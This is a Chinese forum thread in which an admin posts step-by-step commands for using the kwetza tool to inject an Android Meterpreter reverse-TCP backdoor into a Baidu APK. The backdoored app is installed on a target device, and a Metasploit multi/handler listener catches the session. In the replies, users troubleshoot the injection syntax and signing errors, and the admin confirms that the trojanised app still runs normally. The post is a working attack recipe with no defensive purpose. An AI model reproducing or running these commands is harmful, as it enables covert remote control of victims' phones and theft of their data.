kali给APP添加shell

admin

git clone [url=https://github.com/sensepost/kwetza]https://github.com/sensepost/kwetza[/url]
cd kwetza
python kwetza.py baidu.apk 监听者IP 监听端口 yes

#这里选取了百度的apk文件做测试
随便输入一个密码
得到新生成的apk文件
将注入完成的apk文件安装在目标设备
也可以本机
xdg-open baidu.apk

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 监听者IP
set lport 监听端口
exploit

小黄人

感谢分享！学习了！

Richard

这个给APP安装了后门后，影响原APP的正常运行吗？

admin

Richard 发表于 2019-6-25 04:31
这个给APP安装了后门后，影响原APP的正常运行吗？

不影响！

qwe

是版本的原因吗，我只能这样执行

1. python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity

复制代码

admin

qwe 发表于 2019-7-21 07:33
是版本的原因吗，我只能这样执行

发个图片我看看！

qwe

必须要加https/tcp 后面加AssistActivity才可以

admin

qwe 发表于 2019-7-23 12:42
必须要加https/tcp 后面加AssistActivity才可以

嗯嗯！

bystart

Exception in thread "main" java.lang.NoSuchMethodError: java.nio.ByteBuffer.clear()Ljava/nio/ByteBuffer;

jarsigner 错误: java.lang.RuntimeException: 密钥库加载: Keystore was tampered with, or password was incorrect

这两个错误怎么解决呀

admin

bystart 发表于 2020-7-27 03:20
Exception in thread "main" java.lang.NoSuchMethodError: java.nio.ByteBuffer.clear()Ljava/nio/ByteBuf ...

你换个APP试下，有的APP是加壳的，是没法添加后门的。